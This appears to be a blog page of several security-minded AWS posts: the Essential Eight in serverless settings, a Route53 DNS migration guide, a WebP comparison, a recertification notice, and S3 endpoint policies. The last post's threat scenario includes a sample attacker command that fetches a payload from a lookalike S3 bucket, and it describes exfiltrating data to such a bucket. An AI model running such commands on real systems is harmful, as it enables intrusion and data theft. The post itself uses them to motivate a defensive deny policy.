The ASD Essential Eight in the AWS Serverless World

The Australian Signals Directorate, part of the Australian Department of Defence, has been issuing guidance to organisations to help secure their digital systems for several years. Known as the Essential Eight, it defines eight activities that help mitigate exposure to compromise or exploit.

Some of the most basic items are around patching the tech stack:

operating systems
programming runtime environments like Java, .Net, Python and more
software solutions that run on those run-times

Of course Multi-Factor Authentication (MFA) is a key one; and slowly our service providers are coming around to offering MFA pas part of their login services – or better yet, federation of identity to other online services hat already do this, such as Facebook, Google, etc.

But how much of this applies to your technology stack in the Serverless world of AWS? Let us begin, following the AWS guide

1. Application Control

ASD recommends organisations “prevent execution of unapproved/malicious programs including .exe, DLL, scripts (e.g. Windows Script Host, PowerShell and HTA) and installers“.

In the world of AWS Lambda, the only code that is present is our bespoke code and any libraries (layers) we’ve possibly added in. What we want to do is ensure that the code we upload is the code executing, and Lambda now allows signed code bundles (Configuring, Best Practices).

If we’re running a Serverless static web site (using S3, CloudFront, etc), then we have no executing code; only content (note you may have some Lambda@Edge or CloudFront functions to inject various Security related HTTP headers, such as HSTS, CSP, and more: see Scott Helme’s excellent securityheaders.com).

However, there are no other applications as… there is no application server per sé.

2. Patch Applications

Well, in AWS Lambda, this is where we have to update out own applications (and those layers/libraries) to ensure they are up to date. If you have abstracted those libraries and imports into Layers, then manage them and update.

Again, in a static web site deployed Serverlessly, we have no application serves to patch (again, except for any Lambda@Edge or CloudFront functions that need maintenance).

3. Configure Microsoft Office Macro Settings

Er, well, no Microsoft Office installed in Serverless, so this is a no-op. Nothing to do here, move along…

4. User Application Hardening

ASD says “Configure web browsers to block Flash (ideally uninstall it), ads and Java on the internet. Disable unneeded features in Microsoft Office (e.g. OLE), web browsers and PDF viewers.“.

We have none of this in our Serverless environments. However we should be delivering updated applications with everything we can do to support the most modern and up to date browsers; the rest of the world is auto-updating these browsers very rapidly.

For corporate environments that lock down browser updates; question why the rest of the world has better security than your corporate users you’re trying to protect!

5. Restrict Admin Privileges

Using AWS IAM, restrict who can deploy, particularly to production environments. Using CI/CD pipelines and approvals, developers should be able to write and update code and then have it deploy immediately to non-production environments, but it should require a second sign off from a separate individual (or team or people) before it gets near production. Indeed, consider that commits to a revision control repository of code being the source of truth, and that repository needs review before changes are staged ready for a CI/CD pipeline to do its delivery job.

6. Patch Operating Systems

No servers, no Operating systems. OK, Lambda will apply minor version updates to run-times to address security requirements, but its also worth updating major versions of run-times as well. Newer runtime versions have a great chance of supporting newer TLS protocols, ciphers, key exchange methods and checksums.

7. Multi-Factor Authentication

There should never be an interactive user with access that doesn’t use MFA. Not only should your access to AWS be MFA based, it should probably be federated via AWS SSO, using MFA back on your identity provider (IdP).

However, your users of your Serverless solutions may also want the option of using federated identity (SAML, etc), and with MFA implemented on their IdP as well (if you have authenticated access). Or perhaps mutual certificate authentication. If you have an open system with no authentication (publicly, anonymously available) then perhaps that’s fine too. Most web sites are, after all, publicly, anonymously available for their home page and other public content; but the ability to change that content is heavily protected.

8. Backups.

You should have Backups. You should know where your data is. If you’re using DynamoDB, then at least turn on Point In Time Recovery, and a backup schedule. Consider dumping those backups to a separate account in escrow: check out the S3 options around versioning, and retention (Life Cycle) of older versions. Consider the concept from the point of an AWS account being compromised; can an attacker than delete the backups across-account to another environment.

For your code base – is it in a revision control repository – separate to the operational runtime environment. What happens if bad code is put into your repository, and pushed through your environments – can you go back. Do you consider the code repository as a Production service, accessible for commits from developers, but managed as a Production service for them.

Summary

In summary, much – but not all – of the ASD Essential Eight evaporates from being the operator/developers responsibility, leaving you more time to concentrate on the effective implementation of the rest of those items that do remain.

This is all excellent advise, and the more that it is clearly demonstrated with easy adoption for organisations, the better we are across all sizes and types of organisations.

Going further, I am keen on is to remove the use of any unencrypted protocols, particularly HTTP. With free, globally trusted TLS certificates available, moving to HTTPS should be straight forward.

However, that’s not the end of the journey, as TLS has versions. Older versions – less than TLS 1.2 as of this time of writing – should not be used – and most browsers and crypto libraries have removed these from their technology stack to prevent them being used.

Your application – even in a Serverless environment – should verify when it establishes an outbound HTTPS connection that the details of that connection meet your minimum TLS requirements – and you should be ready to up your requirements in future. As mentioned above, sometimes that requires a newer runtime, but newer run-times often still support older TLS protocols – even if you don’t want to (or shouldn’t).

I have been recommending to organisations for some time is to start blocking corporate users from using unencrypted HTTP from their workstations. Firefox has a setting to soft-disable unencrypted HTTP as well (a warning is presented to the user). This may seem inconvenient, but its a huge step up in the security for your workers, which is a key vector into your systems.

Furthermore, stop providing convenience redirects on your services from unencrypted HTTP on port 80 to HTTPS on port 443 – for anything other than your organisations home page. Any other redirection via an unencrypted port should be a hard fail, and fixed at the source.

Migrating & Operating Public DNS with AWS Route53

DNS is the fundamental directory service of the Internet, and these days, of all corporate systems performing discovery of their various components in digital deployments. It is used at least hundreds of times per day per device, and no one really notices until it breaks.

For the most part, its what changes the hostname you have used to navigate to this article – blog.james.rcpt.to – into an IP address of some sort, the numbered address that is supposed to uniquely identify the server or load balancer that is connected to the public Internet to which your browser will then make a network connection.

If your DNS breaks, then your service, or perhaps your entire company, is “off the air”, no longer discoverable by clients wishing to use human-readable labels and names to find your address.

I recently gave a 45 minute presentation at the AWS User Group in Perth, Western Australia, highlighting some of the advantages of using Route53 for DNS, an some of the more modern security protections therein; slides can be found here.

I have helped various organisations transition their authoritative DNS from their existing services to AWS Route53. This migration, in isolation, requires coordination, preparedness, and awareness of the impact of poor planning, and opportunity for service improvement.

DNS Migration Planning

DNS manages to serve the scale of the planet by effective use of caching. This is done at multiple layers in the service.

When a DNS service does a looking for a query it has not already cached (or has expired from cache), it must start a recursive resolve. For this to happen, it needs to find the Authoritative Name Server for a Zone. This Authoritative Name Server will be delegated down from a parent domain, and so on, until we reach the top of the DNS tree.

A common example in this scenario is the address “www.example.com”. Before answering the address for this exact name, a client must determine the address of the Authoritative Name Server(s) for “example.com”. If this is unknown, then the client must ask the address of the Authoritative Name Server(s) for “.com”. Again, if “.com” Name Servers are not already known (cached), then the level above that must be queried, commonly called the Public DNS Roots, or “.”.

The Global Root DNS Servers

These DNS roots are globally agreed, and every DNS server is given a (relatively) static file of the addresses for these. They are given generic names, A-M, and are operated by a variety of organisations who agree to share the same data for the 1000+ Top Level Domains under the globally agreed root.

These Root DNS Servers are all accessible by both the existing IPv4 address scheme, and the newer IPv6 Internet. These addresses exist in a file commonly called the “root.hints” file and is distributed with all DNS server software as the initial glue. It rarely changes.

In a trick of Internet routing (BGP), many of these 13 hosts (A-M) are also each replicated multiple times by a process called Anycast: the same small address segment that the server lives on is “announced” to the world from multiple locations, and a duplicate server, performing the same process, and responding with the same answers.

This first layer of scalability helps the root servers deal with billions of devices using the DNS service every second.

The Global Top Level Domains (TLDs): Registry Operator and Registrars

Each of the global TLDS are operated by a Registry Operator, but records are added and removed by multiple Registrar organisations. For example, the “.com” zone is operated by Verisign, but there are many Registrar organisations you can obtain a DNS name from, amongst which is Route53 itself.

These operators have a selection of innovations and policies they apply to their delegation. Some operate their service with just IPv4, and some are dual-stack IPv4 and IPv6. Some operators have their DNS zones cryptographically signed (using DNSSEC) to provide some validation of the DNS queries.

Route53

Starting in December 2010, Route53 originally provided support only for hosting DNS Zones for customers. The engineering for the service at that time was designed to eclipse what most organisations had in place, providing higher reliability and scalability.

Back in the day, the authoritative references on running DNS services were the Bind Operators Guide (aka The BOG), and the O’Reilly book by author Cricket Liu. Most organisations organised just two DNS servers to respond to their customers queries, and the most common software for doing so was ISC’s Berkeley Interned Name Daemon, or BIND.

Of course, to have your own DNS server, you need a fixed IP address that your server would operator from, as this IP address is what the upstream zone would respond with to clients. And thus the initial problem for most organisations was getting a pool of static IP addresses.

Most ISPs only hand out dynamic addresses, and charge substantially more for static routes. Other (typically larger) organisations went through a laborious process of having IP addresses themselves assigned to their organisation (through ARIN, APNIC, or other IP address registries), and then deploying BGP to announce their range to their connected ISP(s) – could be multiple.

This overhead of assigned IP address ranges, setting up corporate BGP (and trying to secure it) all went away with the launch of hosted DNS services, and Route53 turned out to be one of the most well engineered and cost-effective solutions.

With Zones hosted we can delegate from the parent domain to the name servers that Route53 provides us; each individual record (e.g., “www”) can then point to any IP address (i.e., anywhere). The entire need for corporations acquiring large blocks of IP addressing for their organisation went away.

Indeed, I have helped organisations who previously had very large, fixed blocks of IPv4 addresses to relinquish some of these in a commercial market (for millions of dollars).

Route53 has expanded its remit in the AWS Cloud environment. In addition to hosting authoritative DNS zones, it also offers Registrar Services for hundreds of domains, as well as tuning the use of DNS with in the Virtual Private Cloud Environment. Each of these functions can be used completely separately for example, you can:

Register a domain with Route53 to handle the re-registration, but delegate to your own (or a 3^rd party) DNS servers.
Register a domain with another Registrar (e.g., Go Daddy, Verisign) and delegate to Route53 Hosted Zone.
Configure complex routing and protection mechanisms for your Virtual Cloud Environment.
Host private DNS for your VPC, invisible to the outside world.

In this article, we are going to concentrate on running Public DNS Zones, and the protections you can put in place.

Route53 Public DNS Zone Hosting: Scalability

By default, Route53 gives the operator a choice of 4 DNS servers to pass to the parent domain for delegation. Each of the 4 names are themselves given DNS Names, from four different TLDs. The Four names also themselves resolved to both IPv4 and IPv6 addresses.

The parent domain and then record (and cache) the delegation addresses of these 4 DNS server endpoints; and can instruct end clients doing lookups to also cache this delegation.

Each of those four endpoint addresses are also potentially themselves Anycast announced from multiple locations worldwide. This helps clients reach the closest deployed endpoint for each of the four names, reducing DNS latency.

This set of 4 DNS servers provides much greater reliability than the traditional two, and the multiple anycast presentation further improves this. The chance of any other AWS Route53 customer having the same set of 4 DNS server endpoints is very small, so any Denial of service on specific set of delegated IP address for another Zone is unlikely to affect your zone significantly. This is part of the reason why Route53 offers a 100% availability Service Level Agreement (SLA).

(Note, the control plane, for providing updates to records, is not covered by this SLA)

Route53: Questions

A number of configuration questions arise when planning the migration:

do you want query logging turned on?
1. this is delivered to an S3 bucket: what’s the retention policy on this (look at S3 life cycle policies) – always set an automated time to delete, perhaps in 12 months?
2. what’s the analytics processing done on this data, if any?
3. who has access to this log data, is the bucket marked private, default encryption, versioning?
do you want DNSSEC enabled on the zone –perhaps do this after service migration if you don’t currently have DNSSEC enabled.
What integrations for automated updates are in place, if any?
Who needs access to the console to see and/or update records?

Route53: Migration

The process for migrating to Route53 is relatively simple:

Reduce the parent domains Cache time (TTL – time to live; see below) for the delegation records that point at your current service: a value of 300 seconds may be reasonable.
Prepare the DNS Export form the older service; review the records in there before doing a test import into the new service to ensure that no records cause any issue. This is perfectly safe as we have not redelegated yet. You should also review the individual records’ TTL values, and potentially reduce them down as well as part of the export/import. Any web site or load balancer should run with a TTL no higher than 300 seconds. Once the export/import has been successful, then delete the imported records – we will take a fresh update later…
Determine if there are any processes that are automatically updating your DNS. These will have to be integrated to call the Route53 API for those updates after the migration.
Ensure you have access to redelegate with the Registrar. Test username & password to log in.
Schedule a time for the transition, during which we will avoid updates, or update both old and new. You will have to wait for 5 periods of the previous original TTL time to pass since step 1. For example, if the Delegation TTL was a week, then wait 5 weeks before proceeding (see below on TTL)!
At the agreed time:
1. Record the current (old) delegation IP addresses the registrar has configured.
2. re-export the values
3. update the record TTLs in the export.
4. import into the Route53.
5. update the Registrar with the four new Delegation address.
6. test the DNS immediately; if it fails, revert the Delegation to the addresses in step (a) above.
7. watch logs/metrics from other systems that rely upon this domain name, such as Web traffic for the zone, or mail traffic.
8. test the DNS again after 25 minutes.

DNS Caching: TTL & Delegation records

A key element of DNS’s scalability is caching as much as possible. Records all have a customer defined Time To Live value, the duration (in seconds) that a record can be kept by a client.

When making changes to records, we typically observe 50% of clients seeing cached values updated after the TTL period; a further 50% of the remainder see the update after another TTL period; in practice, the TTL almost acts like a half-life:

Duration	Cumulative % clients seeing update after this time
*1 TTL**	50%
*2 TTL**	75%
*3 TTL**	87.5%
*4 TTL**	93.75%
*5 TTL**	96.875%
*6 TTL**	98.4375%

We would typically wait at least 5 periods of the time-to-live value on a delegation before making a change. As many organisations have this value set to a week (or a month), this could take some time; we’d also recommend keeping this value relatively small once migrated, to ensure you have flexibility in re-delegation in future. 24 hours is a reasonable time for delegation records, unless you’re about to do a migration, in which case 300 seconds is reasonable (25 minutes for 96% of clients to see the update).

During this period, however, you could have your new DNS zone hosting the identical records of the old one, and any updates during this period should be applied to both (or updates can be avoided during this window).

However, some network operators chose to override values as they see fit. A certain ISP in Australia would not honour any small TTL values, and this would result in at least a 24-hour TTL being enforced. Given the 5-TTL-period duration to get 96% of clients seeing the update, you may have to adjust your time frame to accommodate a parallel run of old and new DNS service. Unfortunately, you cannot force update this ISPs.

Route53: Records to Add and Modify

Route53 will automatically create a Start of Authority (SOA) record for your zone. This standard record type has two fields of interest: the RNAME (the responsible person’s email address), and the default TTL value (used for Negative DNS responses, when a query tries to find something not defined. You can leave these as the default, but if you adjust them, then the RNAME field must point to a monitored mailbox, and the TTL adjustment may result in higher query traffic.

Outside of the SOA, there’s a number of other DNS records you should put in place:

SPF on the apex, now implemented as a Text (TXT) record, to indicate where your Email is permitted to originate from (low volume lookup traffic). Something like “v=spf1 mx -all” may do. You should set a different record even if your domain is not hosting email, to indicate that all fraudulently generated email from it is SPAM.
CAA on the apex, to indicate to Certificate Authorities, who your permitted CAs for your domain are (extremely low volume lookup traffic). Something like:
0 issue “letsencrypt.org”
0 issue “amazon.com”
may do.
DMARC: a TXT record on hostname _dmarc.yourdomain, with value “v=DMARC1; p=quarantine; rua=mailto:youremail@yourdomain”
SMT TLS Reporting: a TXT record on the hostname _smtp._tls.yourdomain with value v=TLSRPTv1;rua=mailto:youremail@yourdomain”
An MTA (Mail Transfer Agent) STS (Strict Transport Security) record: a TEXT record for hostname _mta-sts.yourdomain with value “v=STSv1; id=2021021000;” – the number can be a representation of the current datetime in yyyymmddhhmm that can be incremented. You should also set up a static web site to host your MTA STS policy document itself on https://mta-sts.yourdomain/.well-known/mta-sts.txt.

For checking this domain’s security configuration, have a look at Hardenize.com, by Ivan Risti?.

Post-Migration

Ensure that all administrative staff have access to set and update the records they need.

Lastly, don’t forget to decommission the existing DNS service once you are convinced you do not need to go back to it.

Image formats: WebP wins!

I recently imported a PDF image into the open source GNU Image Manipulation Program, also called The GIMP, edited it, and wanted to save the output to a format that I can use natively online.

The rendered image is 1458 by 1126.

Historically I would have chosen JPEG if it was a picture with lots of different colours, or a PNG if it had specific colours or any Alpha channel (transparency). In this case, I chose both of the above, and the new kid on the block, webp.

I chose a 60% quality setting for both the JPEG and WebP formats, and while I can’t tell the difference visually, I can on disk.

Format	Bits	DPI	File size
PDF			5,211,365
JPG	32	100	76,178
PNG	24		412,813
WebP	32	72	32,768

File formats compared

The clear winner here is WebP on file size. Its some 56% smaller than JPEG, and 92% smaller than the PNG.

WebP was originally proposed in 2010, but libraries took a long time to be created, and then incorporated into browsers and native OS.

Today, Chrome, Edge, Firefox, Safari, Brave and more support it. As I write this, the CanIUse.com site rates WebP at having 92.13% support.

Not all services you use support the upload of WebP format images at this stage, but that’s something up to the developer community to start to understand, implement and support. The time for this is looking like now!

AWS Re-certification

Time passes, and before you know it, three years have raced past and you get the following email:

Hello James Bromberger,
Your AWS Certified Solutions Architect – Associate is set to expire on Mar 13, 2021.
How to Recertify
To maintain your certification, you must pass the current version of the AWS Certified Solutions Architect – Associate exam. Check out our Recertification Policy for more information and details by certification level.
You have a 50% discount voucher in your AWS Certification Account under the “Benefits” section. If you haven’t done so already, you can apply this voucher to your exam fee to recertify or apply it to any future certification exam you wish to pursue by Mar 13, 2021. Sign in to aws.training/certification to get started.
If you have any questions, please refer to our FAQs or contact us.
Thank you,
AWS Training and Certification

My Solution Architect Professional certification also renews the corresponding subordinate Solution Architect Associate certification, which I first obtained on the 24th of February 2013 as one of the first in the world to sit this.

This reminder email came out exactly one month before expiry, so I have plenty of time to study and prepare.

With the global pandemic effectively shutting down much of the world, next week also marks 12 months since I was on a plane – the purpose for which was to attend an exam certification workshop to write the items (questions) for the… Solution Architect Professional certification, as a Subject Matter Expert. of course, there are many questions in the certification pool, and each candidate gets a random selection. including some questions that are non-scoring and are themselves being tested on candidates.

I often point my Modis AWS Cloud practice member colleagues at the Certification process training course, on the aws.training site. It gives you a great insight to the thoroughness of the process; it’s quite in depth. This should give confidence to candidates that strives to obtain these vendor certifications – they are discerning, and for good reason – to retain value.

Securing VPC S3 Endpoints: Blocking other buckets

What is the new s3:ResourceAccount policy condition for? Security!

AWS Virtual Private Cloud is a wonder of the modern cloud age. While most of the magic is encapsulation, it also has a deep permissions policy that is highly effective in large deployments.

From a security perspective, accessing your S3 private stores by egressing your VPC over the Internet seemed like a control needing to be improved, and this landed with S3 Endpoints (now Gateway Endpoints) in 2015. These Gateway Endpoints rely upon integration into the VPC Routing table, where as the newer Interface Endpoints have network interfaces (ENIs) in designated VPCs. Oh, and Interface Endpoints are charged for (at this time), while the Gateway Endpoints are (again, at this time), complementary.

Having an S3 Endpoint meant that your buckets, as a Resource, could now have a policy applied to them to limit their access to only traffic originating from the given Endpoint(s) or VPC(s). This helps limits the steal of credentials.

But another consideration existing, which endpoints also supported: a filter on the Endpoint itself, limiting the actions and buckets that resources within the VPC were allowed to access from the S3 service.

However the policy language would limit any permit deny role on an S3 Bucket name, and as we know, Buckets can have any name so long as no one else already has that name. Indeed, there is a race here to create names for buckets that other people may want, and Bucket Squatting (on those names) is a thing.

S3 bucket names couldn’t be reserved or namespaced (outside of the existing ARN), and while a policy that denies access to any bucket not called “mycompany-*” could be deployed on the Endpoint, that doesn’t stop an attacker also calling their bucket “mycompany-notreally”.

Why Filter Access to S3

There’s two major reasons why an attacker would want to get access from your resources to S3:

Data ingestion to your network of malware, compilers, large scripts or other tools
Data ex-filtration to their own resource

Lets consider an Instance that has been taken over. Some RAT or execution is happening on your compute at their behest. And perhaps the attacker is aware of some level of VPC S3 Endpoint policy that may be in place.

The ability to put in large complicated scripts, malware and payloads may be limited form the command and control channel, whereas a cal to wget s3://mycompany-notreally/payload.bin may actually succeed in transferring that very large payload to your instance, which it then runs.

And of course in the reverse way, when they want to steal your data, then upload to s3 to a bucket in their control, from which they can later exfil out of S3 separately.

Policies for S3 ARNs

The initial thought is to use an ARN that would filter on something like arn:aws:s3:12345678901::mybucket-*, but alas, Account IDs are not valid in ARNs for S3 ARNs! Today, AWS announced a new condition key that takes care of this, called s3:ResourceAccount. It achieves a similar thing.

Thus, in a CloudFormation template snippet, you can now put:

S3Endpoint:
  Type: 'AWS::EC2::VPCEndpoint'
  Properties:
    PolicyDocument:
      Version: "2012-10-17"
      Statement:
      - Action: s3:*
        Effect: Deny
        Resource: '*'
        Principal: '*'
        Condition:
          StringNotEquals:
            s3:ResourceAccount: !Ref 'AWS::AccountId'
    RouteTableIds:
      - !Ref RouteTablePublic
      - !Ref RouteTableNATGatewayA
      - !Ref RouteTableNATGatewayB
      - !Ref RouteTableNATGatewayC
      - !Ref RouteTablePrivate
    ServiceName: !Join
      - .
      - - com.amazonaws
        - !Ref 'AWS::Region'
        - s3
    VpcId: !Ref VPC